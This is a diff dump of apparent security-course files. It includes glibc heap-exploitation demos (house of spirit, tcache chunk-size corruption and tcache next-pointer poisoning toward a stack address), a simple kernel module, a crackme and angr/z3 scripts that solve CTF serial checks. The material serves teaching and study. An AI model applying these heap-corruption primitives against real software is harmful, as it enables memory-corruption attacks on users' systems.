fprintf(stderr, "We will overwrite a pointer to point to a fake 'smallbin' region.\n");
unsigned long long *a, *b;
unsigned long long fake_chunk[64] __attribute__ ((aligned (16)));
fprintf(stderr, "The chunk: %p\n", &fake_chunk[0]);
fake_chunk[1] = 0x110; // the size
memset(fake_chunk+2, 0x41, sizeof(fake_chunk)-0x10);
fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake chunk, %p.\n", &fake_chunk[0]);
a = &fake_chunk[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunk[0], &fake_chunk[2]);
b = malloc(0x100);
memset(fake_chunk+2, 0x42, sizeof(fake_chunk)-0x10);
fprintf(stderr, "malloc(0x100): %p\n", b);
}

View File

@ -0,0 +1,28 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main() {
intptr_t *p1, *p2, *p3;
p1 = malloc(0x50 - 8);
p2 = malloc(0x20 - 8);
memset(p1, 0x41, 0x50-8);
memset(p2, 0x41, 0x30-8);
fprintf(stderr, "Allocated victim chunk with requested size 0x48: %p\n", p1);
fprintf(stderr, "Allocated sentry element after victim: %p\n", p2);
int evil_chunk_size = 0x110;
int evil_region_size = 0x110 - 8;
fprintf(stderr, "Emulating corruption of the victim's size to 0x110\n");
*(p1-1) = evil_chunk_size;
fprintf(stderr, "Freed victim chunk to put it in a different tcache bin\n");
free(p1);
p3 = malloc(evil_region_size);
memset(p3, 0x42, evil_region_size);
fprintf(stderr, "Requested a chunk of 0x100 bytes\n");
fprintf(stderr, "p3: %p ~ %p\n", p3, (char *)p3+evil_region_size);
fprintf(stderr, "p2: %p ~ %p\n", p2, (char *)p2+0x20-8);
}

View File

@ -0,0 +1,26 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main() {
intptr_t *p1, *p2, *p3;
size_t target[10];
printf("Our target is a stack region at %p\n", (void *)target);
p1 = malloc(0x30);
memset(p1, 0x41, 0x30+8);
fprintf(stderr, "Allocated victim chunk with requested size 0x30 at %p\n", p1);
fprintf(stderr, "Freed victim chunk to put it in a tcache bin\n");
free(p1);
fprintf(stderr, "Emulating corruption of the next ptr\n");
*p1 = (int64_t)target;
fprintf(stderr, "Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target\n");
p2 = malloc(0x30);
memset(p2, 0x42, 0x30+8);
p3 = malloc(0x30);
memset(p3, 0x42, 0x30+8);
fprintf(stderr, "The first malloc(0x30) returned %p, the second one: %p\n", p2, p3);
}

View File

@ -0,0 +1,8 @@
BUILDPATH := ~/kernelbuild/linux-4.16.3/
obj-m += hello.o
all:
make -C $(BUILDPATH) M=$(PWD) modules
clean:
make -C $(BUILDPATH) M=$(PWD) clean

View File

@ -0,0 +1,4 @@
#!/bin/bash
cd ./initramfs/
find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.cpio.gz

View File

@ -0,0 +1,20 @@
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
static int hello_init(void)
{
printk(KERN_ALERT "Hello module!\n");
return 0;
}
static void hello_exit(void)
{
printk(KERN_ALERT "Goodbye module!\n");
}
module_init(hello_init);
module_exit(hello_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("A simple module.");

View File

@ -0,0 +1,18 @@
#include<stdio.h>
#include<string.h>
void main() {
char pwd[] = "abc123";
char str[128];
int flag = 1;
scanf("%s", str);
for (int i=0; i<=strlen(pwd); i++) {
if (pwd[i]!=str[i] || str[i]=='\0'&&pwd[i]!='\0' || str[i]!='\0'&&pwd[i]=='\0') {
flag = 0;
}
}
if (flag==0) {
printf("Bad!\n");
} else {
printf("Good!\n");
}
}

Binary file not shown.

View File

@ -0,0 +1,10 @@
import angr
project = angr.Project("entry_language", auto_load_libs=False)
@project.hook(0x400844)
def print_flag(state):
print "FLAG SHOULD BE:", state.posix.dump_fd(0)
project.terminate_execution()
project.execute()

View File

@ -0,0 +1,5 @@
str_list = ["Dufhbmf", "pG`imos", "ewUglpt"]
passwd = []
for i in range(12):
passwd.append(chr(ord(str_list[i % 3][2 * (i / 3)]) - 1))
print ''.join(passwd)

View File

@ -0,0 +1,16 @@
digraph {
0 [shape="none", label=""];
1 [shape="diamond", label="2*y == x"];
2 [shape="box", label="x = 0\ny = 1"];
3 [shape="diamond", label="x > y+10"];
4 [shape="box", label="x = 2\ny = 1"];
5 [shape="box", label="x = 30\ny = 15"];
6 [shape="plaintext", label="ERROR"];
0 -> 1;
1 -> 2 [label="false"];
1 -> 3 [label="true"];
3 -> 4 [label="false"];
3 -> 5 [label="true"];
5 -> 6;
}

View File

@ -0,0 +1,22 @@
digraph {
labelloc = "title";
label = "int contrived(int *p, int *w, int x)";
node [shape="record"];
bb0 [label="BB0"];
bb1 [label="BB1: if(x)"];
bb2 [label="BB2: param w"];
bb3 [label="BB3: x1 =! x"];
bb4 [label="BB4: w1 = *w"];
bb5 [label="BB5: q1 = *q"];
bb6 [label="BB6"];
bb0 -> bb1;
bb1 -> bb2;
bb1 -> bb3;
bb2 -> bb3;
bb3 -> bb4;
bb3 -> bb5;
bb4 -> bb6;
bb5 -> bb6;
}

View File

@ -0,0 +1,20 @@
digraph {
labelloc = "title";
label = "int contrived_caller(int *w, int x, int *p)";
node [shape="record"];
bb0 [label="BB0"];
bb1 [label="BB1: param p\n
call kfree\n
param p\n
param w\n
param\n
call contrived"];
bb2 [label="BB2: r = ret\n
w1 = *w"];
bb3 [label="BB3"];
bb0 -> bb1;
bb1 -> bb2;
bb2 -> bb3;
}

View File

@ -0,0 +1,9 @@
digraph {
0 [label="contrived_caller"];
1 [label="contrived"];
2 [label="kfree"];
0 -> 1;
0 -> 2;
1 -> 2;
}

View File

@ -0,0 +1,10 @@
digraph {
0 [style="filled"];
2 [shape="doublecircle"];
3 [shape="doublecircle"];
0 -> 2 [label="被使用"];
0 -> 3 [label="释放"];
0 -> 1 [label="释放"];
1 -> 0 [label="分配"];
}

Binary file not shown.

View File

@ -0,0 +1,5 @@
#include <stdio.h>
int main()
{
printf("hello, world\n");
}

View File

@ -0,0 +1,25 @@
; ModuleID = 'hello.c'
source_filename = "hello.c"
target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@.str = private unnamed_addr constant [14 x i8] c"hello, world\0A\00", align 1
; Function Attrs: noinline nounwind optnone sspstrong uwtable
define i32 @main() #0 {
%1 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i32 0, i32 0))
ret i32 0
}
declare i32 @printf(i8*, ...) #1
attributes #0 = { noinline nounwind optnone sspstrong uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
!llvm.module.flags = !{!0, !1, !2}
!llvm.ident = !{!3}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 7, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{!"clang version 5.0.1 (tags/RELEASE_501/final)"}

View File

@ -0,0 +1,35 @@
.text
.file "hello.c"
.globl main # -- Begin function main
.p2align 4, 0x90
.type main,@function
main: # @main
.cfi_startproc
# BB#0:
pushq %rbp
.Lcfi0:
.cfi_def_cfa_offset 16
.Lcfi1:
.cfi_offset %rbp, -16
movq %rsp, %rbp
.Lcfi2:
.cfi_def_cfa_register %rbp
movabsq $.L.str, %rdi
movb $0, %al
callq printf
xorl %eax, %eax
popq %rbp
retq
.Lfunc_end0:
.size main, .Lfunc_end0-main
.cfi_endproc
# -- End function
.type .L.str,@object # @.str
.section .rodata.str1.1,"aMS",@progbits,1
.L.str:
.asciz "hello, world\n"
.size .L.str, 14
.ident "clang version 5.0.1 (tags/RELEASE_501/final)"
.section ".note.GNU-stack","",@progbits

View File

@ -0,0 +1,42 @@
from z3 import *
solver = Solver()
serial = [Int("serial[%d]" % i) for i in range(20)]
solver.add(serial[15] + serial[4] == 10)
solver.add(serial[1] * serial[18] == 2 )
solver.add(serial[15] / serial[9] == 1)
solver.add(serial[17] - serial[0] == 4)
solver.add(serial[5] - serial[17] == -1)
solver.add(serial[15] - serial[1] == 5)
solver.add(serial[1] * serial[10] == 18)
solver.add(serial[8] + serial[13] == 14)
solver.add(serial[18] * serial[8] == 5)
solver.add(serial[4] * serial[11] == 0)
solver.add(serial[8] + serial[9] == 12)
solver.add(serial[12] - serial[19] == 1)
solver.add(serial[9] % serial[17] == 7)
solver.add(serial[14] * serial[16] == 40)
solver.add(serial[7] - serial[4] == 1)
solver.add(serial[6] + serial[0] == 6)
solver.add(serial[2] - serial[16] == 0)
solver.add(serial[4] - serial[6] == 1)
solver.add(serial[0] % serial[5] == 4)
solver.add(serial[5] * serial[11] == 0)
solver.add(serial[10] % serial[15] == 2)
solver.add(serial[11] / serial[3] == 0) # serial[3] can't be 0
solver.add(serial[14] - serial[13] == -4)
solver.add(serial[18] + serial[19] == 3)
for i in range(20):
solver.add(serial[i] >= 0, serial[i] < 10)
solver.add(serial[3] != 0)
if solver.check() == sat:
m = solver.model()
for d in m.decls():
print("%s = %s" % (d.name(), m[d]))
print("".join([str(m.eval(serial[i])) for i in range(20)]))

View File

@ -0,0 +1,72 @@
#!/usr/bin/env python
# Looks like the serial number verification for space ships is similar to that
# of your robot. Try to find a serial that verifies for this space ship
import sys
print ("Please enter a valid serial number from your RoboCorpIntergalactic purchase")
if len(sys.argv) < 2:
print ("Usage: %s [serial number]"%sys.argv[0])
exit()
print ("#>" + sys.argv[1] + "<#")
def check_serial(serial):
if (not set(serial).issubset(set(map(str,range(10))))):
print ("only numbers allowed")
return False
if len(serial) != 20:
return False
if int(serial[15]) + int(serial[4]) != 10:
return False
if int(serial[1]) * int(serial[18]) != 2:
return False
if int(serial[15]) / int(serial[9]) != 1:
return False
if int(serial[17]) - int(serial[0]) != 4:
return False
if int(serial[5]) - int(serial[17]) != -1:
return False
if int(serial[15]) - int(serial[1]) != 5:
return False
if int(serial[1]) * int(serial[10]) != 18:
return False
if int(serial[8]) + int(serial[13]) != 14:
return False
if int(serial[18]) * int(serial[8]) != 5:
return False
if int(serial[4]) * int(serial[11]) != 0:
return False
if int(serial[8]) + int(serial[9]) != 12:
return False
if int(serial[12]) - int(serial[19]) != 1:
return False
if int(serial[9]) % int(serial[17]) != 7:
return False
if int(serial[14]) * int(serial[16]) != 40:
return False
if int(serial[7]) - int(serial[4]) != 1:
return False
if int(serial[6]) + int(serial[0]) != 6:
return False
if int(serial[2]) - int(serial[16]) != 0:
return False
if int(serial[4]) - int(serial[6]) != 1:
return False
if int(serial[0]) % int(serial[5]) != 4:
return False
if int(serial[5]) * int(serial[11]) != 0:
return False
if int(serial[10]) % int(serial[15]) != 2:
return False
if int(serial[11]) / int(serial[3]) != 0:
return False
if int(serial[14]) - int(serial[13]) != -4:
return False
if int(serial[18]) + int(serial[19]) != 3:
return False
return True
if check_serial(sys.argv[1]):
print ("Thank you! Your product has been verified!")
else:
print ("I'm sorry that is incorrect. Please use a valid RoboCorpIntergalactic serial number")